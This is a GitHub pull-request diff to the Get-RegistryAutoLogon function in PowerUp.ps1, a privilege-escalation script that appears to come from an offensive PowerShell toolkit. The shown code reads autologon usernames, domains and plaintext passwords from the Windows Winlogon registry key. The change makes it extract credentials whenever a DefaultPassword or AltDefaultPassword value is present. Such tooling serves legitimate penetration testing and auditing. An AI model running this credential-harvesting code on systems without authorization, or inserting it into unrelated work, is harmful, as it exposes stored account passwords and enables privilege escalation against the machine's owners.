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Updated Get-RegistryAutoLogon #359

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Updated Get-RegistryAutoLogon #359

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12 changes: 3 additions & 9 deletions Privesc/PowerUp.ps1
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Original file line number Diff line number Diff line change
Expand Up @@ -2754,33 +2754,27 @@ function Get-RegistryAlwaysInstallElevated {
function Get-RegistryAutoLogon {
<#
.SYNOPSIS

Finds any autologon credentials left in the registry.

.DESCRIPTION

Checks if any autologon accounts/credentials are set in a number of registry locations.
If they are, the credentials are extracted and returned as a custom PSObject.

.EXAMPLE

PS C:\> Get-RegistryAutoLogon

Finds any autologon credentials left in the registry.

.LINK

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb
#>

[CmdletBinding()]
Param()

$AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue)
$AutoAdminLogonDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
$AutoAdminLogonAltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword

Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)"

if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) {
if (($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) -or $AutoAdminLogonDefaultPassword -or $AutoAdminLogonAltDefaultPassword) {

$DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
$DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
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